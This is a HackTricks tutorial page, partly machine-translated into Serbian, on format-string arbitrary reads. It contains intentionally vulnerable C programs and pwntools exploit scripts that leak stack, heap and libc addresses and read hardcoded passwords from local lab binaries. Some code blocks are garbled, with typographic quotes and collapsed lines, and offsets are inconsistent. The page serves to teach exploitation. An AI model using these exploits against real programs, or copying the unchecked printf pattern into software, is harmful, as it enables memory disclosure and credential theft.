Format Strings - Arbitrary Read Example
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Početak čitanja binarnog
Kod
#include <stdio.h>
int main(void) {
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
}
Kompajlirajte ga sa:
clang -o fs-read fs-read.c -Wno-format-security -no-pie
Exploit
from pwn import *
p = process('./fs-read')
payload = f"%11$s|||||".encode()
payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
- The offset is 11 zato što postavljanje nekoliko As i brute-forcing petljom koja ide od 0 do 50 pokazalo je da je na offsetu 11 i sa 5 dodatnih znakova (pipes
|u našem slučaju) moguće kontrolisati full address. - Koristio sam
%11$psa paddingom dok adresa nije bila 0x4141414141414141 - The format string payload is BEFORE the address zato što printf stops reading at a null byte, pa ako pošaljemo address pa onda format string, printf nikada neće stići do format string-a jer će null byte biti pronađen pre
- The address selected is 0x00400000 jer je to mesto gde binary počinje (no PIE)
Čitanje lozinki
Ranljiv binary sa stack i BSS lozinkama
```c #includechar bss_password[20] = “hardcodedPassBSS”; // Password in BSS
int main() { char stack_password[20] = “secretStackPass”; // Password in stack char input1[20], input2[20];
printf(“Enter first password: “); scanf(”%19s“, input1);
printf(“Enter second password: “); scanf(”%19s“, input2);
// Vulnerable printf printf(input1); printf(“\n”);
// Check both passwords if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { printf(“Access Granted.\n”); } else { printf(“Access Denied.\n”); }
return 0; }
</details>
Kompajlirajte ga pomoću:
```bash
clang -o fs-read fs-read.c -Wno-format-security
Čitanje iz stacka
stack_password će biti smešten u stacku jer je lokalna promenljiva, tako da je dovoljno zloupotrebiti printf da se prikaže sadržaj stacka. Ovo je exploit koji BF-uje prvih 100 pozicija da bi se leak-ovali passwords sa stacka:
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
Na slici se može videti da možemo leak the password iz stack-a na 10th poziciji:
.png)
.png)
Čitanje podataka
Pokretanjem istog exploita, ali sa %p umesto %s, moguće je leak a heap address sa stack-a na %25$p. Nadalje, upoređivanjem leaked address (0xaaaab7030894) sa pozicijom password-a u memory u tom process-u možemo dobiti razliku adresa:
Sada je vreme da pronađemo kako da kontrolišemo 1 adresu u stack-u da bismo joj pristupili iz drugog format string vulnerability:
Pronađi kontrolisanu adresu u stack-u
```python from pwn import *def leak_heap(p): p.sendlineafter(b“first password:“, b”%5$p“) p.recvline() response = p.recvline().strip()[2:] #Remove new line and “0x” prefix return int(response, 16)
for i in range(30): p = process(“./fs-read”)
heap_leak_addr = leak_heap(p) print(f“Leaked heap: {hex(heap_leak_addr)}“)
password_addr = heap_leak_addr - 0x126a
print(f“Try: {i}“) payload = f”%{i}$p|||“.encode() payload += b“AAAAAAAA”
p.sendline(payload) output = p.clean() print(output.decode(“utf-8”)) p.close()
</details>
Može se videti da u **try 14** sa korišćenim prosleđivanjem možemo kontrolisati adresu:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
### Exploit
<details>
<summary>Leak heap then read password</summary>
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc
print(f"Calculated address is: {hex(password_addr)}")
# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)
p.sendline(payload)
output = p.clean()
print(output)
p.close()
Automatizovanje otkrivanja offseta
Kada se raspored steka menja pri svakom pokretanju (full ASLR/PIE), bruteforcing offseta ručno je spor. pwntools pruža FmtStr za automatsko otkrivanje indeksa argumenta koji dopire do našeg kontrolisanog buffer-a. Lambda treba da vrati izlaz programa nakon slanja kandidatskog payloada. Prekida se čim može pouzdano korumpirati/posmatrati memoriju.
from pwn import *
context.binary = elf = ELF('./fs-read', checksec=False)
# helper that sends payload and returns the first line printed
io = process()
def exec_fmt(payload):
io.sendline(payload)
return io.recvuntil(b'\n', drop=False)
fmt = FmtStr(exec_fmt=exec_fmt)
offset = fmt.offset
log.success(f"Discovered offset: {offset}")
Možete zatim ponovo iskoristiti offset da konstrušete arbitrary read/write payloads koristeći fmtstr_payload, izbegavajući ručno %p fuzzing.
PIE/libc leak then arbitrary read
On modern binaries with PIE and ASLR, first leak any libc pointer (e.g. __libc_start_main+243 or setvbuf), compute bases, then place your target address after the format string. This keeps the %s from being truncated by null bytes inside the pointer.
Leak libc and read arbitrary address
```python from pwn import *elf = context.binary = ELF(‘./fs-read’, checksec=False) libc = ELF(‘/lib/x86_64-linux-gnu/libc.so.6’)
io = process()
leak libc address from stack (offset 25 from previous fuzz)
io.sendline(b“%25$p“) io.recvline() leak = int(io.recvline().strip(), 16) libc.address = leak - libc.symbols[‘__libc_start_main’] - 243 log.info(f“libc @ {hex(libc.address)}“)
secret = libc.address + 0x1f7bc # adjust to your target
payload = f“%14$s|||“.encode() payload += p64(secret)
io.sendline(payload) print(io.recvuntil(b“|||“)) # prints string at calculated address
</details>
## Reference
- [NVISO - Format string exploitation](https://blog.nviso.eu/2024/05/23/format-string-exploitation-a-hands-on-exploration-for-linux/)
- [Format string exploitation notes](https://hackmd.io/%40e20gJPRhRbKrBY5xcGKngA/SyM_Wcg_A)
> [!TIP]
> Učite i vežbajte AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Učite i vežbajte GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Učite i vežbajte Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Podržite HackTricks</summary>
>
> - Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
> - **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
>
> </details>


